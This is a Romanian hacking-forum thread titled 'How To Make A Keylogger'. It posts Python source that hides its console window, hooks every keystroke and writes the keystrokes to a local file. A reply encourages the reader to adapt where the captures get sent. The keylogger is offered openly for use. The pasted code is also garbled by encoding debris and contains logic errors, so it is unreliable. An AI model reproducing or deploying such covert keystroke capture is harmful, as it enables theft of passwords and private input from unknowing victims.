Jump to content
ZeroDark

[Python]-How To Make A Keylogger

Recommended Posts

Sper ca am postat bn daca nu rog sa se mute :)

KEYLOGGER SOURCECODE AND

- Download Python:Python Programming Language – Official Website

- Download Pyhook: pyhook.sourceforge.net

- Download Python for Windows Extensions: Python for Windows extensions | Download Python for Windows extensions software for free at SourceForge.net

SOURCE:

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
   if event.Ascii==5:
      Â
_exit(1)

   if event.Ascii != 0 or 8:
       f=open('c:output.txt','r')
      Â
buffer=f.read()
       f.close()
      Â
f=open('c:output.txt','w')
       keylogs=chr(event.Ascii)
      Â
if event.Ascii==13:
           keylogs='/n'
       buffer +=
keylogs
       f.write(buffer)
       f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Link to comment
Share on other sites

Cred ca merge si doar cu pyHook si pe unix, toata faza la el este ca deschide o fereastra, aplicatie GUI ascunsa / in background care capteaza in paralel ceea ce tastezi si de fiecare data cand apesi ceva noteaza si scrie intr-un text. Scopul este intelegerea conceptului de aici in colo personalizezi tu cum si unde sa trimita capturile.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...